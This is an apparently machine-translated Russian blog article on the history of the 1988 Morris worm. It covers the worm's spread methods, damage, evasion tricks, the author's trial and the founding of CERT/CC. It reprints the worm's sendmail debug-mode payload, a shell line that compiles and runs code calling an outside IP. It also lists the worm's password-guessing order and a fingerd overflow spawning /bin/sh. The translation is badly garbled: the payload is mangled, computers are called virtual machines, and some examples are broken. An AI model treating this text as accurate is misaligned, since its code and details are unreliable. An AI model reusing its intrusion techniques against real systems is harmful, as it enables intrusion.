Червь Морриса – Он Был Первым

2 ноября 1988 года ARPANET была атакована программой, которая позже стала известна как «червь Морриса» по имени ее создателя, студента Корнеллского университета Роберта Морриса-младшего.

ARPANET (Сеть Агентства перспективных исследовательских проектов) была создана в 1969 году в по инициативе Агентства перспективных исследовательских проектов Министерства обороны США (DARPA, Defense Advanced Research Projects Agency) и явился прообразом Интернета.

Эта сеть создана в интересах исследователей в области вычислительной техники и технологий для обмена сообщениями, а также программами и наборами данных между крупными исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерство обороны США (DoD, Министерство обороны США).

Именно по заказу Министерства обороны был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х сеть насчитывала несколько десятков тысяч ВМ.

ARPANET прекратила свое существование в июне 1990 года.

Червь Морриса был первым вредоносным программным обеспечением в истории компьютерных технологий, которое использовало механизмы автоматического распространения по сети.

Для этого было использовано несколько уязвимостей в сетевых сервисах, а также некоторые слабости в компьютерных системах из-за недостаточного внимания к вопросам безопасности на тот момент. По словам Роберта Морриса, червь был создан в исследовательских целях.

Его код не содержал никакой «полезной нагрузки» (деструктивных функций).

Однако из-за ошибок в алгоритмах работы распространение червя спровоцировало так называемый «отказ в обслуживании», когда виртуальные машины были заняты выполнением многочисленных копий червя и переставали отвечать на команды оператора.

Червь Морриса практически парализовал работу компьютеров в сети ARPANET на срок до пяти дней.

Оценка времени простоя составляет не менее 8 миллионов часов и более 1 миллиона часов времени, потраченного на восстановление работоспособности систем.

Общие убытки в денежном выражении оценили в $98 млн, которые складывались из прямых и косвенных убытков.

Включены прямые убытки (32 млн долларов США): остановка, тестирование и перезагрузка 42 700 машин; выявление червей, удаление, очистка памяти и восстановление 6200 машин; анализ, дизассемблирование и документирование кода червя; исправление UNIX-систем и тестирование.

Включены косвенные убытки (66 млн долларов США): потеря компьютерного времени из-за отсутствия доступа к сети; потеря доступа пользователя к сети.

Однако к этим оценкам нужно относиться очень и очень осторожно.

Конструктивно червь состоял из трех частей – «головы» и двух «хвостов».

«Головой» был исходный код C (99 строк), который был скомпилирован непосредственно на удаленной машине.

«Хвосты» представляли собой идентичные по исходному коду и алгоритмам бинарные файлы, но скомпилированные для разных типов архитектур.

По плану Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» была отлита следующими методами:

  • использование режима отладки в sendmail;
  • эксплуатация уязвимости переполнения буфера в сетевом сервисе Fingerd;
  • подбор логина и пароля для удаленного выполнения программ (rexec);
  • вызов удаленного интерпретатора команд (rsh) путем подбора логина и пароля или использования механизма доверия.

Sendmail — старейшая сетевая служба, которая обрабатывает получение и отправку почты с использованием протокола SMTP. На момент распространения червя у Sendmail была недокументированная особенность — разработчики запрограммировали режим отладки, которого не должно было быть в рабочей версии программы и который был оставлен по ошибке.

Одной из особенностей режима отладки было то, что почтовое сообщение обрабатывалось не самим Sendmail, а другой программой.

Пример электронного письма, отправленного червем: отлаживать почта от: rcptto:<"|sed-e '1,/^$/d' | /bin/sh; exit 0"> данные компакт-диск /usr/tmp кот > x14481910.c <<'EOF' ЭОФ cc -о x14481910 x14481910.s; x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c .

покидать Как видите, из тела письма были удалены заголовки (с помощью текстового препроцессора sed) и сохранен файл исходного кода «head».

Далее командному процессору давались инструкции скомпилировать «головной» код, запустить полученный исполняемый файл и стереть временные файлы.

Для эксплуатации уязвимости сервиса Fingerd червь передавал специально подготовленную строку длиной 536 байт, которая в конечном итоге вызывала функцию execve("/bin/sh", 0, 0).

Это работало только для компьютеров VAX под управлением 4.3BSD; Компьютеры SUN под управлением SunOS не имели этой уязвимости.

Для использования метода распространения rexec и rsh был собран список пользователей локальной машины.

На его основе были выбраны наиболее часто используемые пароли, в надежде, что многие пользователи будут иметь одинаковые имена и пароли на всех машинах сети, что, однако, оказалось недалеко от истины.

Помимо выбора, rsh использовал механизм доверия или, иначе говоря, упрощенный механизм аутентификации, основанный на IP-адресе удаленной машины.

Такие адреса хранились в файлах /etc/hosts.equiv и .

rhosts. Для большинства компьютеров доверие было взаимным, поэтому с большой долей вероятности найденный червем список IP-адресов из этих файлов позволял зайти в удаленную систему через rsh вообще без использования пароля.

При поиске червь пробовал следующие варианты пароля:

  • пустой;
  • имя пользователя (пользователь);
  • имя пользователя, написанное задом наперед (resu);
  • двойное повторение имени пользователя (useruser);
  • имя или фамилия пользователя (Джон, Смит);
  • имя или фамилия пользователя строчными буквами (Джон, Смит);
  • встроенный словарь на 432 слова;
  • файл /usr/dict/words, содержащий около 24 000 слов и используемый в 4.3BSD (и других) в качестве орфографического словаря.

    Если слово начинается с заглавной буквы, то проверялся и вариант со строчной буквой.

Комплексное использование нескольких методов распространения существенно повлияло на массовое распространение червя по сети.

Для поиска удаленных компьютеров сеть сканировалась на основе информации из таблицы маршрутов и собственного IP-адреса зараженной системы.

Червь использовал несколько приемов, затрудняющих обнаружение администраторам компьютеров:

  • удаление вашего исполняемого файла после запуска;
  • все сообщения об ошибках были отключены, а размер аварийного дампа был установлен на ноль;
  • исполняемый файл червя был сохранен под именем sh, то же имя, которое использовалось интерпретатором команд Bourne Shell, что скрыло червя в списке процессов;
  • примерно каждые три минуты создавался дочерний поток и завершался родительский поток, что безвозвратно меняло pid процесса-червя и сбрасывало время выполнения, указанное в списке процессов;
  • все текстовые строки были закодированы с помощью операции xor 81h.
Несмотря на «величие» идеи, червь имел некоторые ошибки, как в дизайне, так и в реализации.

Именно неправильно реализованный алгоритм проверки того, заражена ли система уже, привел к массовому распространению червя в сети, вопреки замыслу его автора.

На практике компьютеры заражались многократно, что, во-первых, приводило к быстрому истощению ресурсов, а во-вторых, способствовало лавинообразному распространению червя по сети.

По некоторым оценкам, червем Морриса заражено около 6200 компьютеров.

Сам застройщик, осознав масштаб результатов своего действия, добровольно сдался властям и рассказал обо всем.

Слушание по его делу закончилось 22 января 1990 года.

Первоначально Моррису грозило до пяти лет тюремного заключения и штраф в размере 25 000 долларов.

На самом деле приговор был довольно мягким; суд назначил 400 часов общественных работ, штраф в размере 10 000 долларов, трехлетний испытательный срок и оплату расходов, связанных с наблюдением за осужденным.

Инцидент с «червем Морриса» заставил ИТ-специалистов серьезно задуматься о вопросах безопасности, в частности, именно после этого для повышения безопасности системы было введено использование пауз после неправильного ввода пароля и хранения паролей в /etc/shadow. где они были переведены из статуса читаемых, стали вводить всех пользователей файла /etc/passwd. Но самым важным событием стало создание в ноябре 1988 года Координационного центра CERT (CERT/CC), деятельность которого связана с решением проблем интернет-безопасности.

В первом бюллетене по безопасности CERT, вышедшем в декабре 1988 года, сообщалось об уязвимостях, используемых червем.

Примечательно, что многие технические решения, используемые червем Морриса, такие как перебор паролей, компиляция кода загрузчика на удаленной виртуальной машине под управлением *NIX-систем (Slapper), сканирование сети для выявления целей и т.д. Они также используются в современных примеры вредоносного ПО.

Интересно, что в том же 1988 году известный программист Питер Нортон довольно резко высказался в прессе против самого факта существования компьютерных вирусов, назвав их «мифом» и сравнив шум вокруг этой темы с «рассказами о крокодилах».

живу в канализации Нью-Йорка».

Всего через два года после анонса Norton, в 1990 году, была выпущена первая версия антивирусной программы Norton AntiVirus. И, наконец, в 1988 году, под впечатлением атаки червя Морриса, Американская ассоциация компьютерного оборудования объявила 30 ноября Международным днем компьютерной безопасности, который отмечается и по сей день.

Теги: #моррис #WORM #киберугроза #информационная безопасность

Вместе с данным постом часто просматривают: